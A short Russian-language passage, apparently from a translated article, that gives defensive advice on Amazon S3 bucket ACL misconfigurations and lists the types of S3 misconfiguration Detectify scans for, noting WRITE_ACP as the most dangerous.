- Взгляните и посмотрите, как вы загружаете объекты в S3 бакеты, и убедитесь, что вы установили соответствующие ACL как на бакеты, так и на объекты.
- Не используйте секретное имя бакета в качестве формы Security through Obscurity ( на рус. «Безопасность через неясность»). Обращайтесь с именем бакета так, как будто оно уже является публичной информацией.
Ссылка скрыта от гостей
Detectify тестирует веб-приложения на следующие уязвимости в неправильной настройке S3 с диапазоном серьезности от 4.4 до 9 по шкале CVSS:
- Позволяет ли Amazon S3 bucket получить полный анонимный доступ.
- Позволяет ли Amazon S3 bucket произвольный листинг файлов.
- Позволяет ли Amazon S3 bucket произвольно загружать файлы и открывать для них доступ.
- Позволяет ли Amazon S3 bucket осуществлять «слепую» загрузку.
- Позволяет ли Amazon S3 bucket произвольно считатывать/записывать файлы.
- Показывает ли Amazon S3 bucket ACP/ACL.
После этого исследования стало ясно, что эта проблема широко распространена и ее трудно выявить и полностью решить, особенно если компания использует огромное количество бакетов, созданных разными системами. WRITE_ACP является наиболее опасной по указанным причинам, как на бакетах, так и на объектах.
Интересная деталь: при ручной загрузке файлов в S3 с помощью Cyberduck, изменение контроля доступа к файлу выглядит следующим образом:
Довольно легко случайно выбрать там не тот, который нужно.